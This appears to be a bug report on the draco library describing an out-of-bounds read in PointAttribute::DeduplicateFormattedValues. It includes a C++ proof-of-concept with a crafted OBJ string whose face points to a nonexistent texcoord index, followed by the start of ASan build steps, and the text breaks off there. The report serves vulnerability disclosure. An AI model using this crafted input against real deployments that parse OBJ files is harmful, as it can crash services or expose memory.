#1194·draco

`draco::PointAttribute::DeduplicateFormattedValues` 中的越界读取

作者: emptyiscolor创建于 2026年4月22日更新于 2026年4月22日

poc_objdecoder_repro.cc

cpp
#include <iostream>
#include <string>

#include "draco/core/decoder_buffer.h"
#include "draco/core/status.h"
#include "draco/io/obj_decoder.h"
#include "draco/point_cloud/point_cloud.h"

int main() {
  // Valid OBJ syntax with three positions, three normals, only three
  // texcoords, while the face maps every vertex to texcoord index 100.
  const std::string obj =
      "v 0 0 0\n"
      "v 1 0 0\n"
      "v 0 1 0\n"
      "vt 0 0\n"
      "vt 0 0\n"
      "vt 0 0\n"
      "vn 0 0 1\n"
      "vn 0 0 1\n"
      "vn 0 0 1\n"
      "f 1/100/1 2/100/2 3/100/3\n";

  draco::DecoderBuffer buffer;
  buffer.Init(obj.data(), obj.size());

  draco::ObjDecoder decoder;
  draco::PointCloud pc;
  const draco::Status status = decoder.DecodeFromBuffer(&buffer, &pc);

  std::cerr << "Decode status ok: " << status.ok() << "\n";
  if (!status.ok()) std::cerr << status.error_msg() << "\n";
  return status.ok() ? 0 : 1;
}

Build and run under ASan:

bash
cmake -S <draco> -B /tmp/draco-asan -DCMAKE_BUILD_TYPE=Debug \
  -DDRACO_BUILD_EXECUTABLES=OFF \
  -DCMAKE_C_COMPILER=clang -DCMAKE_CXX_COMPILER=clang++ \
  -DCMAKE_C_FLAGS='-fsanitize=address -fno-omit-frame-pointer' \
  -DCMAKE_CXX_FLAGS='-fsanitize=address -fno-omit-frame-pointer' \
  -DCMAKE_EXE_LINKER_FLAGS='-fsanitize=address'
cmake --build /tmp/draco-asan --target draco -j
clang++ -std=c++17 -g -O1 -fsanitize=address -fno-omit-frame-pointer \
  -I<draco>/src
…